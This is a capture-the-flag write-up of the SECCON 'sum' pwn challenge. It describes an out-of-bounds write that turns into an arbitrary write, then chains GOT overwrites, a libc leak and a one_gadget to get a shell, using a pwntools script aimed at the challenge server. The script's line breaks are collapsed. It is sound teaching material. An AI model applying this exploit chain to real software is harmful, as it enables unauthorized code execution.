There's a memory corruption vulnerability in `read_ints((char *)&a1, 5LL);`, second argument leads to an out-of-bounds inside `read_ints` smashing a pointer which is used for total sum of given input which leads to an arbitrary write primitive.Exploitation approach is simple, overwrite .got.plt entry of `exit` with `_start` so you can write `n` arbitrary qword times. Once write primitive is leveraged get an info leak  overwriting `setvbuf` .got.plt entry with `puts@plt+6` in `setup()` (which is in `_init_array` called by `__libc_csu_init` ), then trick `setvbuf` argument smashing `__bss_start` global with `[email protected]`. Last but not least trigger `one_gadget` with `__isoc99_scanf` .got.plt entry (no rop needed at all).
```python#!/usr/bin/env python# coding: utf-8from pwn import *
HOST = "sum.chal.seccon.jp"PORT = 10001
elf  = ELF("sum_ccafa40ee6a5a675341787636292bf3c84d17264", checksec=False)libc = ELF("libc.so_18292bd12d37bfaf58e8dded9db7f1f5da1192cb", checksec=False)
context.log_level = "debug"context.terminal  = ["tmux", "sp", "-h"]
io = remote(HOST, PORT)
def write64(addr, value):    io.sendlineafter("2 3 4 0\n", "-%d -1 +1 -1 %d %d" % (addr, value+1, addr))
write64(elf.got["exit"], elf.sym["_start"])write64(elf.got["setvbuf"], elf.plt["puts"]+10) # puts@plt+6write64(elf.sym["__bss_start"], elf.got["alarm"])
libc.address = u64(io.recv(6).ljust(8, "\x00")) - libc.sym["alarm"]log.success("glibc at %#x" % libc.address)
write64(elf.got["__isoc99_scanf"], libc.address + 0x4f322)
io.interactive()# SECCON{ret_call_call_ret??_ret_ret_ret........shell!}```